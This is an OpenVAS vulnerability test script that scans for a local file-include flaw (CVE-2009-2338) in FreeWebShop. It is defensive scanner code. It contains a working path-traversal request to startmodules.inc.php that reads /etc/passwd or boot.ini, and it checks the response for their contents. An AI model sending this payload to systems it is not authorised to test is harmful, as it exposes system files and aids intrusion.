###############################################################################
# OpenVAS Vulnerability Test
# $Id: FreeWebShop_34538.nasl 8133 2010-06-22 12:32:37Z mime $
#
# FreeWebShop 'startmodules.inc.php' Local File Include Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
 script_id(100236);
 script_bugtraq_id(34538);
 script_cve_id("CVE-2009-2338");
 script_version ("1.0");
 script_tag(name:"cvss_base", value:"6.8");
 script_tag(name:"risk_factor", value:"High");

 script_name("FreeWebShop 'startmodules.inc.php' Local File Include Vulnerability");

desc = "

Overview:
FreeWebShop is prone to a local file-include vulnerability because it
fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view and execute
arbitrary local files in the context of the webserver process. This
may aid in further attacks.

FreeWebShop 2.2.9 R2 is vulnerable; other versions may also be
affected.


References:
http://www.securityfocus.com/bid/34538
http://www.freewebshop.org


Risk factor : Medium";

 script_description(desc);
 script_summary("Determine if FreeWebShop is vulnerable to local file-include");
 script_category(ACT_GATHER_INFO);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencie("FreeWebShop_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");

port = get_http_port(default:80);
if(!get_port_state(port))exit(0);

if (!can_host_php(port:port)) exit(0);

if(!version = get_kb_item(string("www/", port, "/FreeWebshop")))exit(0);
if(!matches = eregmatch(string:version, pattern:"^(.+) under (/.*)$"))exit(0);

dir  = matches[2];
vers = matches[1];

if(!isnull(dir)) {
    foreach file (make_list("/etc/passwd", "boot.ini")) {
      url = string(dir, "/includes/startmodules.inc.php?lang_file=../../../../../../../../../../../../", file);
      req = http_get(item:url, port:port);
      buf = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
      if( buf == NULL )exit(0);

      if(egrep(pattern:"(root:.*:0:[01]:|\[boot loader\])", string: buf))
        {
           security_warning(port:port);
           exit(0);
        } 
    }
}
 
 # check version because Vulnerability needs 'register_globals = On' and that could be the reason 
 # why file include fail. But we should inform anyway about the Vulnerability if version <=2.2.9_R2.

 if(!isnull(vers) && vers >!< "unknown") {
    vers = str_replace(find:"_", string: vers, replace:".");
    if(version_is_less_equal(version: vers, test_version: "2.2.9.R2", icase:TRUE)) {
       security_warning(port:port);
       exit(0);
     }
  }

exit(0);

